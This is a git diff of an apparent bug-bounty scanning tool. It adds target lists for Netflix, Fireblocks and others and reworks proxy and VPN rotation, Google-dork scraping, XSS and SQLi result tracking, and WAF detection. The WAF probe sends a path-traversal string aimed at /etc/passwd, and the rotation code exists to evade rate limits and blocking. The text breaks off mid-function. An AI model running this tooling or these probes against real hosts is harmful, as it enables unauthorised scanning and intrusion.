@@ -0,0 +1,4 @@ +http://sb-mobile-api.fireblocks.io +http://sb-console-api.fireblocks.io +http://sandbox-api.fireblocks.io +sandbox.fireblocks.io \ No newline at end of file diff --git a/bounty_drive/target_indrive.txt b/bounty_drive/target_indrive.txt new file mode 100644 index 0000000..f016411 --- /dev/null +++ b/bounty_drive/target_indrive.txt @@ -0,0 +1 @@ +indrive.com \ No newline at end of file diff --git a/bounty_drive/target_netflix.txt b/bounty_drive/target_netflix.txt new file mode 100644 index 0000000..83ffbb7 --- /dev/null +++ b/bounty_drive/target_netflix.txt @@ -0,0 +1,15 @@ +api-*.netflix.com +api.netflix.com +*.prod.ftl.netflix.com +*.prod.cloud.netflix.com +*.prod.dradis.netflix.com +www.netflix.com +Secure.netflix.com +ichnaea.netflix.com +beacon.netflix.com +*.nflxvideo.net +*.nflxext.com +*.nflximg.net +*.nflxso.net +help.netflix.com +meechum.netflix.com diff --git a/bounty_drive/target.txt b/bounty_drive/target_reddit.txt similarity index 100% rename from bounty_drive/target.txt rename to bounty_drive/target_reddit.txt diff --git a/bounty_drive/utils/app_config.py b/bounty_drive/utils/app_config.py index 49d7ad8..7683472 100644 --- a/bounty_drive/utils/app_config.py +++ b/bounty_drive/utils/app_config.py @@ -1,57 +1,10 @@ ######################################################################################### # Global variables ######################################################################################### -# PATH -GITHUB_FILE_PATH = "reports/potential_github_sites.txt" -SQLI_FILE_PATH = "reports/potential_sqli_sites.txt" -XSS_FILE_PATH = "reports/potential_xss_sites.txt" -API_FILE_PATH = "reports/potential_api_sites.txt" -WEB_FILE_PATH = "reports/potential_web_sites.txt" -SECRET_FILE_PATH = "reports/potential_secret_sites.txt" -PHP_FILE_PATH = "reports/potential_dowload-php_sites.txt" -BACKUP_FILE_PATH = "reports/potential_backup_sites.txt" -proxies = [None] -use_nordvpn = False +import threading -POTENTIAL_PATHS = { - "github": [GITHUB_FILE_PATH, set()], - "sqli": [SQLI_FILE_PATH, set()], - "xss": [XSS_FILE_PATH, set()], - "api": [API_FILE_PATH, set()], - "web": [WEB_FILE_PATH, set()], - "secret": [SECRET_FILE_PATH, set()], - "dowload-php": [PHP_FILE_PATH, set()], - "backup": [BACKUP_FILE_PATH, set()], -} - -VULN_SQLI_FILE_PATH = "reports/vulnerable_sqli_sites.txt" -VULN_XSS_FILE_PATH = "reports/vulnerable_xss_sites.txt" -VULN_API_FILE_PATH = "reports/vulnerable_api_sites.txt" -VULN_WEB_FILE_PATH = "reports/vulnerable_web_sites.txt" -VULN_SECRET_FILE_PATH = "reports/vulnerable_secret_sites.txt" -VULN_PHP = "reports/vulnerable_dowload-php_sites.txt" -VULN_BACKUP_FILE_PATH = "reports/vulnerable_backup_sites.txt" - -VULN_PATHS = { - "sqli": [VULN_SQLI_FILE_PATH, set()], - "xss": [VULN_XSS_FILE_PATH, set()], - "api": [VULN_API_FILE_PATH, set()], - "web": [VULN_WEB_FILE_PATH, set()], - "secret": [VULN_SECRET_FILE_PATH, set()], - "dowload-php": [VULN_PHP, set()], - "backup": [VULN_BACKUP_FILE_PATH, set()], -} - -# Constants for handling requests and delays -DEFAULT_EXTENSION = "" -EXTENSION = "" -DEFAULT_TOTAL_OUTPUT = 10 # TODO enforce -TOTAL_OUTPUT = 100 -DEFAULT_PAGE_NO = 1 -PAGE_NO = 1 -LANG = "en" -RECURSIVE = True +LOCKS = {"experiment": threading.Lock()} USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", @@ -100,19 +53,3 @@ "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", ] - - -# Initial delay and the factor by which the delay is multiplied -# TODO add class -INITIAL_DELAY = 30 # Start with a 10-second delay -DELAY_FACTOR = 2 # Double the delay each time -LONG_DELAY = 15 -MAX_DELAY = 600 # Maximum delay of 10 minutes -REQUEST_DELAY = 30 # Base delay between requests in seconds -WAF_DELAY = 600 # Delay for WAF detection in seconds -PROXY_MEAN_DELAY = 10 -PROXY_FACTOR = 1 - - -RATE_PER_MINUTE = 1 -CURRENT_DELAY = 60 / RATE_PER_MINUTE # TODO add backoff timer diff --git a/bounty_drive/utils/nord_vpn_config.py b/bounty_drive/utils/nord_vpn_config.py deleted file mode 100644 index 08a1b25..0000000 --- a/bounty_drive/utils/nord_vpn_config.py +++ /dev/null @@ -1 +0,0 @@ -nord_vpn_login = [] diff --git a/bounty_drive/utils/proxies.py b/bounty_drive/utils/proxies.py deleted file mode 100644 index 1ba978d..0000000 --- a/bounty_drive/utils/proxies.py +++ /dev/null @@ -1,155 +0,0 @@ -######################################################################################### -# Proxy related functions -######################################################################################### - -# Round-robin proxy generator -import itertools -import random -import threading -import time - -import requests -from termcolor import cprint -import concurrent.futures -from tqdm import tqdm -from typing import List, Literal -import sys - -from utils.app_config import PROXY_MEAN_DELAY, USER_AGENTS - -# TODO use nordvpn gateway proxy list - -# https://api.proxyscrape.com/v3/free-proxy-list/get?request=getproxies&protocol=http&proxy_format=protocolipport&format=text&timeout=20000 -def update_proxy_list(): - pass - - -def round_robin_proxies(proxies): - return itertools.cycle(proxies) - - -# Function to check if a proxy is up -def is_proxy_alive(proxy, retry=0): - try: - cprint( - f"Testing proxy {proxy}, retry n° {retry} ...", - "yellow", - file=sys.stderr, - ) - response = requests.get( - "http://www.google.com/search?q=test", - proxies={"http": proxy, "https": proxy}, - timeout=PROXY_MEAN_DELAY, - headers={"User-Agent": random.choice(USER_AGENTS)}, - verify=False, - ) - if response and response.status_code == 429 and retry < 3: - retry_after = int(response.headers.get("Retry-After", 60)) - cprint( - f"Proxy {proxy}: Retry after {retry_after} secs ...", - "red", - file=sys.stderr, - ) - time.sleep(retry_after) - return is_proxy_alive(proxy=proxy, retry=retry + 1) - return response.status_code == 200, proxy - except requests.exceptions.RequestException as e: - cprint( - f"Proxy {proxy} error with : {e}", - "red", - file=sys.stderr, - ) - return False, proxy - - -# Load proxies from file -def load_proxies(file="proxies/free-proxy-list.txt"): - with open(file, "r") as file: - return [line.strip() for line in file if line.strip()] - - -def setup_proxies(): - proxies = load_proxies() - proxies_cp = proxies.copy() - dead_proxies = 0 - total_proxies = len(proxies) - - lock = threading.Lock() - with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: - future_to_search = { - executor.submit(is_proxy_alive, proxy): proxy for proxy in proxies_cp - } - for future in tqdm( - concurrent.futures.as_completed(future_to_search), - total=len(future_to_search), - desc="Checking proxies", - unit="proxy", - leave=True, - position=0, - ): - result = future.result() - if result: - with lock: - if not result[0]: - dead_proxies += 1 - cprint( - f"Removing dead proxy {result[1]}, dead proxies {dead_proxies}/{total_proxies}", - "red", - file=sys.stderr, - ) - proxies.remove(result[1]) - cprint(f"Up proxies: {len(proxies)}") - - return proxies - - -# TODO: https://stackoverflow.com/questions/55872164/how-to-rotate-proxies-on-a-python-requests -class Proxy: - """container for a proxy""" - - def __init__(self, ip, type_="datacenter") -> None: - self.ip: str = ip - self.type: Literal["datacenter", "residential"] = type_ - _, _, self.subnet, self.host = ip.split(":")[0].split(".") - self.status: Literal["alive", "unchecked", "dead"] = "unchecked" - self.last_used: int = None - - def __repr__(self) -> str: - return self.ip - - def __str__(self) -> str: - return self.ip - - -class Rotator: - """weighted random proxy rotator""" - - def __init__(self, proxies: List[Proxy]): - self.proxies = proxies - self._last_subnet = None - - def weigh_proxy(self, proxy: Proxy): - weight = 1_000 - if proxy.subnet == self._last_subnet: - weight -= 500 - if proxy.status == "dead": - weight -= 500 - if proxy.status == "unchecked": - weight += 250 - if proxy.type == "residential": - weight += 250 - if proxy.last_used: - _seconds_since_last_use = time.time() - proxy.last_used - weight += _seconds_since_last_use - return weight - - def get(self): - proxy_weights = [self.weigh_proxy(p) for p in self.proxies] - proxy = random.choices( - self.proxies, - weights=proxy_weights, - k=1, - )[0] - proxy.last_used = time.time() - self.last_subnet = proxy.subnet - return proxy diff --git a/bounty_drive/utils/proxies_manager.py b/bounty_drive/utils/proxies_manager.py new file mode 100644 index 0000000..b8255ab --- /dev/null +++ b/bounty_drive/utils/proxies_manager.py @@ -0,0 +1,217 @@ +######################################################################################### +# Proxy related functions +######################################################################################### + +# Round-robin proxy generator +import csv +import itertools +import json +import os +import random +import threading +import time + +import requests +from termcolor import cprint +import concurrent.futures +from tqdm import tqdm +from typing import List, Literal +import sys + +from utils.app_config import USER_AGENTS +from fp.fp import FreeProxy, FreeProxyException + + +def round_robin_proxies(proxies): + return itertools.cycle(proxies) + + +# Function to check if a proxy is up +def is_proxy_alive(proxy, config, retry=0): + try: + cprint( + f"Testing proxy {proxy}, retry n° {retry} ...", + "yellow", + file=sys.stderr, + ) + # TODO use request_manager + response = requests.get( + "http://www.google.com/search?q=test", + proxies={"http": proxy, "https": proxy}, + timeout=config["proxy_mean_delay"], + headers={"User-Agent": random.choice(USER_AGENTS)}, + verify=False, + ) + if response and response.status_code == 429 and retry < 3: + retry_after = int(response.headers.get("Retry-After", 60)) + cprint( + f"Proxy {proxy}: Retry after {retry_after} secs ...", + "red", + file=sys.stderr, + ) + time.sleep(retry_after) + return is_proxy_alive(proxy=proxy, retry=retry + 1, config=config) + return response.status_code == 200, proxy + except requests.exceptions.RequestException as e: + cprint( + f"Proxy {proxy} error with : {e}", + "red", + file=sys.stderr, + ) + return False, proxy + + +# Load proxies from file +def load_proxies(file="proxies/free-proxy-list.txt"): + with open(file, "r") as file: + return [line.strip() for line in file if line.strip()] + + +def prepare_proxies(proxy, config): + if proxy and "username:password" in proxy: + nord_vpn_user_pass = random.choice(config["nord_vpn_login"]) + proxy = proxy.replace("username", nord_vpn_user_pass[0]).replace( + "password", nord_vpn_user_pass[1] + ) + proxies = {"https": proxy} + + else: + proxies = {"http": proxy, "https": proxy} + return proxies + + +def setup_proxies(config): + proxies = [] + if config["use_free_proxy_file"]: + cprint("Loading proxies from file ...", "yellow", file=sys.stderr) + proxies = load_proxies() + proxies_cp = proxies.copy() + dead_proxies = 0 + total_proxies = len(proxies) + + lock = threading.Lock() + with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: + future_to_search = { + executor.submit(is_proxy_alive, proxy, config, 0): proxy + for proxy in proxies_cp + } + for future in tqdm( + concurrent.futures.as_completed(future_to_search), + total=len(future_to_search), + desc="Checking proxies", + unit="proxy", + leave=True, + position=0, + ): + result = future.result() + if result: + with lock: + if not result[0]: + dead_proxies += 1 + cprint( + f"Removing dead proxy {result[1]}, dead proxies {dead_proxies}/{total_proxies}", + "red", + file=sys.stderr, + ) + proxies.remove(result[1]) + cprint(f"Up free proxies: {len(proxies)}") + + if config["use_free_proxy"]: + cprint("Using Free proxies ", "yellow", file=sys.stderr) + try: + free_proxy = FreeProxy( + google=None, rand=True, https=True, timeout=10 + ).get_proxy_list(repeat=False) + proxies += free_proxy + except FreeProxyException as e: + cprint(f"FreeProxyException: {e}", "red", file=sys.stderr) + + if config["use_nordvpn_proxy"]: + config["nord_vpn_login"] = json.loads(config["nord_vpn_login"]) + cprint("Using NordVPN proxies ", "yellow", file=sys.stderr) + if os.path.exists("proxies/nordvpn_login.csv"): + with open("proxies/nordvpn_login.csv", "r") as file: + nordvpn = list(csv.reader(file)) + for i in range(1, len(nordvpn)): + config["nord_vpn_login"].append([nordvpn[i][0], nordvpn[i][1]]) + cprint( + f"You have NordVPN account using these proxies {config['nord_vpn_login']}", + "green", + file=sys.stderr, + ) + # https://stackoverflow.com/questions/64516109/how-to-use-nordvpn-servers-as-proxy-for-python-requests + # TODO: curl -s https://nordvpn.com/api/server | jq -r ".[] | select(.features.socks==true) | [.domain, .name] | @tsv" + with open("proxies/nordvpn-proxy-list.txt", "r") as file: + for line in file.readlines(): + line = line.replace("\n", "") + cprint(f"NordVPN Proxy: {line}", "yellow", file=sys.stderr) + p = ( + "socks5h://" # socks5h enable hostname resolution + + "username" + + ":" + + "password" + + "@" + + line + + ":1080" + ) + proxies += [p] + else: + cprint( + "You need to provide your NordVPN login details in proxies/nordvpn_login.csv", + "red", + file=sys.stderr, + ) + config["proxies"] = list(set(proxies)) + cprint(f"Proxy: {config['proxies']}", "green", file=sys.stderr) + + +# TODO: https://stackoverflow.com/questions/55872164/how-to-rotate-proxies-on-a-python-requests +class Proxy: + """container for a proxy""" + + def __init__(self, ip, type_="datacenter") -> None: + self.ip: str = ip + self.type: Literal["datacenter", "residential"] = type_ + _, _, self.subnet, self.host = ip.split(":")[0].split(".") + self.status: Literal["alive", "unchecked", "dead"] = "unchecked" + self.last_used: int = None + + def __repr__(self) -> str: + return self.ip + + def __str__(self) -> str: + return self.ip + + +class Rotator: + """weighted random proxy rotator""" + + def __init__(self, proxies: List[Proxy]): + self.proxies = proxies + self._last_subnet = None + + def weigh_proxy(self, proxy: Proxy): + weight = 1_000 + if proxy.subnet == self._last_subnet: + weight -= 500 + if proxy.status == "dead": + weight -= 500 + if proxy.status == "unchecked": + weight += 250 + if proxy.type == "residential": + weight += 250 + if proxy.last_used: + _seconds_since_last_use = time.time() - proxy.last_used + weight += _seconds_since_last_use + return weight + + def get(self): + proxy_weights = [self.weigh_proxy(p) for p in self.proxies] + proxy = random.choices( + self.proxies, + weights=proxy_weights, + k=1, + )[0] + proxy.last_used = time.time() + self.last_subnet = proxy.subnet + return proxy diff --git a/bounty_drive/utils/request_manager.py b/bounty_drive/utils/request_manager.py index 014e6a4..1d17653 100644 --- a/bounty_drive/utils/request_manager.py +++ b/bounty_drive/utils/request_manager.py @@ -5,24 +5,9 @@ import time from urllib.parse import parse_qs, urlparse -from bs4 import BeautifulSoup import requests from termcolor import cprint -from utils.app_config import CURRENT_DELAY, LONG_DELAY, REQUEST_DELAY, WAF_DELAY - -from fp.fp import FreeProxyException - - -class SearchResult: - def __init__(self, url, title, description): - self.url = url - self.title = title - self.description = description - - def __repr__(self): - return f"SearchResult(url={self.url}, title={self.title}, description={self.description})" - # Function to check if a given URL has a query string def has_query_string(url): @@ -70,9 +55,10 @@ def param_converter(data, url=False): return json.loads(data) else: if url: - url = urlparse(url).scheme + "://" + urlparse(url).netloc - for part in list(data.values()): - url += "/" + part + # url = urlparse(url).scheme + "://" + urlparse(url).netloc + url = url + "/?" + for key in data.keys(): + url += key + str(data[key]) + "&" return url else: return json.dumps(data) @@ -80,76 +66,52 @@ def param_converter(data, url=False): def start_request( proxies, - advanced=False, + config, is_json=False, GET=False, data=None, headers=None, params=None, base_url=None, - full_query=None, - category=None, - scrap_urls=False, - retry_no=0, secured=False, + cookies=None, + session=None, ): - urls = None + if session: + requester = session + else: + requester = requests try: if GET: - cprint( - f"Searching for GET (n° {retry_no}): {base_url} & parameters {params} & headers {headers} - ({category} and with proxy {proxies}) ...", - "yellow", - file=sys.stderr, - ) - response = requests.Session().get( + response = requester.get( base_url, - # data=data[0], headers=headers, params=params, allow_redirects=True, proxies=proxies, # cookies = {'CONSENT' : 'YES+'}, - cookies={ - "CONSENT": "PENDING+987", - "SOCS": "CAESHAgBEhJnd3NfMjAyMzA4MTAtMF9SQzIaAmRlIAEaBgiAo_CmBg", - }, # FOR EU USERS -> ANNOYING to parse + cookies=cookies, # FOR EU USERS -> ANNOYING to parse verify=secured, # TODO add parameter for that - timeout=REQUEST_DELAY, + timeout=config["request_delay"], ) elif is_json: - cprint( - f"Searching for POST + JSON (n° {retry_no}): {base_url}/{full_query} & data {data} & headers {headers} - ({category} and with proxy {proxies}) ...", - "yellow", - file=sys.stderr, - ) - response = requests.Session().post( + response = requester.post( base_url, json=data[0], headers=headers, - timeout=REQUEST_DELAY, + timeout=config["request_delay"], verify=secured, - cookies={ - "CONSENT": "PENDING+987", - "SOCS": "CAESHAgBEhJnd3NfMjAyMzA4MTAtMF9SQzIaAmRlIAEaBgiAo_CmBg", - }, # FOR EU USERS + cookies=cookies, # FOR EU USERS proxies=proxies, ) else: - cprint( - f"Searching for POST (n° {retry_no}): {base_url}/{full_query} & data {data} & headers {headers} - ({category} and with proxy {proxies}) ...", - "yellow", - file=sys.stderr, - ) - response = requests.Session().post( + response = requester.post( base_url, data=data[0], headers=headers, - timeout=REQUEST_DELAY, + timeout=config["request_delay"], verify=secured, - cookies={ - "CONSENT": "PENDING+987", - "SOCS": "CAESHAgBEhJnd3NfMjAyMzA4MTAtMF9SQzIaAmRlIAEaBgiAo_CmBg", - }, # FOR EU USERS + cookies=cookies, # FOR EU USERS proxies=proxies, ) @@ -176,117 +138,49 @@ def start_request( color="red", file=sys.stderr, ) - time.sleep(WAF_DELAY) - else: - if "did not match any documents" in response.text: - cprint( - f"No results found for {full_query} with proxy {proxies}", - "yellow", - file=sys.stderr, - ) - elif scrap_urls: - urls = [] - soup = BeautifulSoup(response.text, "html.parser") - result_block = soup.find_all("div", attrs={"class": "g"}) - cprint( - f"Potentially {len(result_block)} links ...", - "yellow", - file=sys.stderr, - ) - if len(result_block) == 0: - cprint( - f"No results found for {full_query} with proxy {proxies}\n{response.text}\nTrying new parsing method", - "yellow", - file=sys.stderr, - ) - # Locate all tags that contain the search results - for a_tag in soup.find_all("a", href=True): - # Extract the href attribute - href = a_tag["href"] - # Only consider hrefs that start with '/url?' - if href.startswith("/url?"): - # Extract the actual URL using regex - url_match = re.search(r"(https?://[^&]+)", href) - if url_match: - url = url_match.group(0) - print(url) - # Extract the title (text within
with specific class) - title_tag = a_tag.find("h3") or a_tag.find( - "div", class_="BNeawe vvjwJb AP7Wnd UwRFLe" - ) - title = title_tag.get_text() if title_tag else None - if title: - cprint( - f"Link appended to potential urls: {url}", - "green", - file=sys.stderr, - ) - urls.append(url) - else: - for result in result_block: - # Find link, title, description - link = result.find("a", href=True) - title = result.find("h3") - description_box = result.find( - "div", {"style": "-webkit-line-clamp:2"} - ) - if description_box: - description = description_box.text - if link and title and description: - cprint( - f"Link appended to potential urls: {link['href']}", - "green", - file=sys.stderr, - ) - if advanced: - urls.append( - SearchResult( - link["href"], title.text, description - ) - ) - else: - urls.append(link["href"]) - + time.sleep(config["waf_delay"]) else: cprint( - f"No scraping ...", - "yellow", + f"Error in request ... - status code = {response.status_code}", + color="red", file=sys.stderr, ) - + delay = random.uniform( + config["current_delay"] - 5, config["current_delay"] + 5 + ) + time.sleep(delay) # Wait before retrying + return None + elif "did not match any documents" in response.text: + cprint( + f"No results found for {params['q']} with proxy {proxies} \n {response.text}", + "yellow", + file=sys.stderr, + ) + delay = random.uniform( + config["current_delay"] - 5, config["current_delay"] + 5 + ) + time.sleep(delay) # Wait before retrying + return None # Placeholder for URL extraction logic - delay = random.uniform(CURRENT_DELAY - 5, CURRENT_DELAY + 5) + cprint("Request successful - 200", "green", file=sys.stderr) + delay = random.uniform(config["current_delay"] - 5, config["current_delay"] + 5) time.sleep(delay) # Wait before retrying - return urls # Return the category and a placeholder result + return response # Return the category and a placeholder result except requests.exceptions.ProxyError as e: cprint( - f"ProxyError searching for {full_query} with proxy {proxies}: {e}", + f"ProxyError searching for {params['q']} with proxy {proxies}: {e}", "red", file=sys.stderr, ) - delay = random.uniform(CURRENT_DELAY - 2, CURRENT_DELAY + 2) + delay = random.uniform(config["current_delay"] - 2, config["current_delay"] + 2) time.sleep(delay) # Wait before retrying - # TODO add backoff timer for delay ? - return urls + return None except requests.exceptions.RequestException as e: cprint( - f"RequestException searching for {full_query} with proxy {proxies}: {e}", - "red", - file=sys.stderr, - ) - delay = random.uniform(CURRENT_DELAY - 2, CURRENT_DELAY + 2) - time.sleep(delay) # Wait before retrying - # TODO add backoff timer for delay ? - return urls - except FreeProxyException as e: - cprint( - f"FreeProxyException: {e}", + f"RequestException searching for {params['q']} with proxy {proxies}: {e}", "red", file=sys.stderr, ) - delay = random.uniform(CURRENT_DELAY - 2, CURRENT_DELAY + 2) + delay = random.uniform(config["current_delay"] - 2, config["current_delay"] + 2) time.sleep(delay) # Wait before retrying - # TODO add backoff timer for delay ? - return urls - # finally: - # return urls + return None diff --git a/bounty_drive/utils/results_manager.py b/bounty_drive/utils/results_manager.py index 46c659b..2bfc260 100644 --- a/bounty_drive/utils/results_manager.py +++ b/bounty_drive/utils/results_manager.py @@ -1,3 +1,5 @@ +import csv +import os import sys import threading @@ -12,70 +14,157 @@ # Initialize locks for thread-safe file writing # TODO make more modular -LOCKS = { - "sqli": threading.Lock(), - "xss": threading.Lock(), - "api": threading.Lock(), - "web": threading.Lock(), - "secret": threading.Lock(), - "dowload-php": threading.Lock(), - "backup": threading.Lock(), - "github": threading.Lock(), -} + +def get_processed_dorks(settings): + """ + Reads the experiment CSV file to get the list of processed dorks. + """ + processed_dorks = set() + + if os.path.exists(settings["experiment_file_path"]): + with open(settings["experiment_file_path"], mode="r", newline="") as file: + reader = csv.DictReader(file) + for row in reader: + processed_dorks.add(row["dork"]) + + return processed_dorks + + +def get_xss_links(settings): + """ + Reads the experiment CSV file to get the list of XSS-related links. + """ + xss_links = set() + + if os.path.exists(settings["experiment_file_path"]): + with open(settings["experiment_file_path"], mode="r", newline="") as file: + reader = csv.DictReader(file) + for row in reader: + if row["category"] == "xss": + xss_links.add(row["url"]) + + return xss_links + + +def get_last_processed_ids(settings): + """ + Get the last processed dork_id, link_id, and attack_id from the CSV file. + """ + last_dork_id = 0 + last_link_id = 0 + last_attack_id = 0 + + if os.path.exists(settings["experiment_file_path"]): + with open(settings["experiment_file_path"], mode="r", newline="") as file: + reader = csv.DictReader(file) + for row in reader: + last_dork_id = int(row["dork_id"]) + last_link_id = int(row["link_id"]) + last_attack_id = int(row["attack_id"]) + + return last_dork_id, last_link_id, last_attack_id + # Thread-safe addition to results lists -def safe_add_result(result): - # TODO category not working, all go to xss - category, urls, dork = result - if urls: - cprint( - f"Adding {len(urls)} URLs to {category} list...", "blue", file=sys.stderr - ) - for url in urls: - if url: - if "https://www.google.com/sorry/" not in url: - if "github.com" in url: - with LOCKS["github"]: - if url not in POTENTIAL_PATHS["github"][1]: - with open(GITHUB_FILE_PATH, "a") as file: - file.write(url + "\n") - with open( - GITHUB_FILE_PATH.replace(".txt", "_dork.txt"), "a" - ) as file: - file.write(dork + "\n") - POTENTIAL_PATHS["github"][1].add(url) - cprint( - f"Added {url} to github list", - "green", - file=sys.stderr, - ) +def safe_add_result(result, settings): + """ + Safely adds results to the single experiment CSV file with tracking IDs. + """ + dork_id, category, urls, dork = result + with LOCKS["experiment"]: + with open(settings["experiment_file_path"], mode="a", newline="") as file: + writer = csv.writer(file) + _, link_id, last_attack_id = get_last_processed_ids(settings) + link_id += 1 # Increment link_id for next link + if urls: + cprint( + f"Adding {len(urls)} URLs to experiment list...", + "blue", + file=sys.stderr, + ) + for url in urls: + if url and "https://www.google.com/sorry/" not in url: + attack_id = ( + last_attack_id # Start attack_id from 1 for each link + ) + row = [ + dork_id, + link_id, + attack_id, + category, + url, + dork, + "yes", + "", + ] # Success and payload columns are initially empty + if settings["do_dorking_github"]: + row.append("no") + if settings["do_sqli"]: + row.append("no") + if settings["do_xss"]: + row.append("no") + writer.writerow(row) + cprint( + f"Added {url} to experiment list under category {category}", + "blue", + file=sys.stderr, + ) + attack_id += 1 # Increment attack_id for next attack else: - with LOCKS[category]: # Ensure thread-safe write operation - if url not in POTENTIAL_PATHS[category][1]: - with open( - POTENTIAL_PATHS[category][0], "a" - ) as file: # Open file in append mode - file.write(url + "\n") # Write URL to file - with open( - POTENTIAL_PATHS[category][0].replace( - ".txt", "_dork.txt" - ), - "a", - ) as file: - file.write(dork + "\n") - POTENTIAL_PATHS[category][1].add( - url - ) # Optionally maintain the set - cprint( - f"Added {url} to {category} list", - "blue", - file=sys.stderr, - ) - else: - cprint( - f"Google blocked us from accessing {url}", - "red", - file=sys.stderr, - ) - else: - cprint(f"No URLs found for {category} dorks...", "red", file=sys.stderr) + cprint( + f"Google blocked us from accessing {url}", + "red", + file=sys.stderr, + ) + else: + # Write a row indicating no URLs found for this dork + row = [ + dork_id, + link_id, + last_attack_id, + category, + "", + dork, + "no", + "", + ] # No URLs found + if settings["do_dorking_github"]: + row.append("no") + if settings["do_sqli"]: + row.append("no") + if settings["do_xss"]: + row.append("no") + writer.writerow(row) + cprint(f"No URLs found for {category} dorks...", "red", file=sys.stderr) + + +def update_attack_result( + settings, dork_id, link_id, attack_id, category, success, payload +): + """ + Update the attack result in the CSV file. + """ + rows = [] + with LOCKS["experiment"]: + with open(settings["experiment_file_path"], mode="r", newline="") as file: + reader = csv.DictReader(file) + for row in reader: + if ( + int(row["dork_id"]) == dork_id + and int(row["link_id"]) == link_id + and int(row["attack_id"]) == attack_id + ): + row["success"] = "yes" if success else "no" + row["payload"] = payload + if category == "github" and "github_success" in row: + row["github_success"] = "yes" if success else "no" + if category == "sqli" and "sqli_success" in row: + row["sqli_success"] = "yes" if success else "no" + if category == "xss" and "xss_success" in row: + row["xss_success"] = "yes" if success else "no" + rows.append(row) + + with open(settings["experiment_file_path"], mode="w", newline="") as file: + writer = csv.DictWriter(file, fieldnames=csv_headers) + writer.writeheader() + writer.writerows(rows) diff --git a/bounty_drive/utils/vpn_manager.py b/bounty_drive/utils/vpn_manager.py new file mode 100644 index 0000000..5083f61 --- /dev/null +++ b/bounty_drive/utils/vpn_manager.py @@ -0,0 +1,32 @@ +import sys +from termcolor import cprint +from nordvpn_switcher.nordvpn_switch import initialize_VPN, rotate_VPN, terminate_VPN + + +def setup_vpn(config): + if config["use_nordvpn"]: + raise NotImplementedError( + "NordVPN is not supported in this version - Error in library" + ) + if len(config["nord_vpn_login"]) > 0: + try: + initialize_VPN(save=1, area_input=["complete rotation"]) + except Exception as e: + cprint( + f"VPN initialization error: {e}", + "red", + file=sys.stderr, + ) + config["use_nordvpn"] = False + else: + cprint( + "You need to provide NordVPN credentials to use VPN", + "red", + file=sys.stderr, + ) + config["use_nordvpn"] = False + + +def change_vpn(time=300): + rotate_VPN() + time.sleep(time) diff --git a/bounty_drive/utils/waf_mitigation.py b/bounty_drive/utils/waf_mitigation.py index 4aea1aa..f95fb13 100644 --- a/bounty_drive/utils/waf_mitigation.py +++ b/bounty_drive/utils/waf_mitigation.py @@ -5,25 +5,33 @@ # from https://github.com/s0md3v/XSStrike/blob/master/core/wafDetector.py import glob import json +import random import re import eventlet, requests from termcolor import cprint +from utils.app_config import USER_AGENTS from utils.request_manager import start_request -# from bounty_drive.attacks.xss.xss_config import XSS_TEST_PAYLOAD +# from attacks.xss.xss_config import XSS_TEST_PAYLOAD -def waf_detector(proxies, url, params, headers, GET, mode="xss"): +def waf_detector(proxies, url, mode="xss"): # a payload which is noisy enough to provoke the WAF if mode == "xss": - noise = XSS_TEST_PAYLOAD + noise = "" else: noise = "../../../etc/passwd" + + params = {} params["xss"] = noise + headers = { + "User-Agent": random.choice(USER_AGENTS), + "X-HackerOne-Research": "elniak", + } # Opens the noise injected payload response = start_request( - proxies=proxies, url=url, params=params, headers=headers, GET=GET + proxies=proxies, url=url, params=params, headers=headers, GET=True ) page = response.text code = str(response.status_code) diff --git a/bounty_drive/utils/web_scraper.py b/bounty_drive/utils/web_scraper.py index 298fff1..3e1aa59 100644 --- a/bounty_drive/utils/web_scraper.py +++ b/bounty_drive/utils/web_scraper.py @@ -1,3 +1,4 @@ +import json import os import random import re @@ -10,18 +11,113 @@ import requests from bs4 import BeautifulSoup from termcolor import cprint -from utils.nord_vpn_config import * -from utils.app_config import CURRENT_DELAY, REQUEST_DELAY, USER_AGENTS -from selenium import webdriver -from selenium.webdriver.common.by import By -from selenium.webdriver.chrome.service import Service -from selenium.webdriver.chrome.options import Options -from selenium.webdriver.support.ui import WebDriverWait -from selenium.webdriver.support import expected_conditions as EC +from utils.app_config import USER_AGENTS + +try: + from selenium import webdriver + from selenium.webdriver.common.by import By + from selenium.webdriver.chrome.service import Service + from selenium.webdriver.chrome.options import Options + from selenium.webdriver.support.ui import WebDriverWait + from selenium.webdriver.support import expected_conditions as EC +except ImportError: + cprint( + "Selenium is not installed. Please install it using 'pip install selenium'.", + "red", + file=sys.stderr, + ) + sys.exit(1) + + +class SearchResult: + def __init__(self, url, title, description): + self.url = url + self.title = title + self.description = description + + def __repr__(self): + return f"SearchResult(url={self.url}, title={self.title}, description={self.description})" -def fetch_html_content(url, proxy=None, headers=None): +def parse_google_search_results(proxies, advanced, full_query, response): + """_summary_ + + Args: + proxies (_type_): _description_ + advanced (_type_): _description_ + full_query (_type_): _description_ + response (_type_): _description_ + + Returns: + _type_: _description_ + """ + urls = [] + soup = BeautifulSoup(response, "html.parser") + result_block = soup.find_all("div", attrs={"class": "g"}) + cprint( + f"Potentially {len(result_block)} links ...", + "yellow", + file=sys.stderr, + ) + if len(result_block) == 0: + cprint( + f"No results found for parsing of {full_query} with proxy {proxies}\n{response}\nTrying new parsing method", + "yellow", + file=sys.stderr, + ) + # Locate all tags that contain the search results + for a_tag in soup.find_all("a", href=True): + # Extract the href attribute + href = a_tag["href"] + # Only consider hrefs that start with '/url?' + if href.startswith("/url?"): + # Extract the actual URL using regex + url_match = re.search(r"(https?://[^&]+)", href) + if url_match: + url = url_match.group(0) + cprint(f"Checking for url: {url}", color="yellow", file=sys.stderr) + # Extract the title (text within
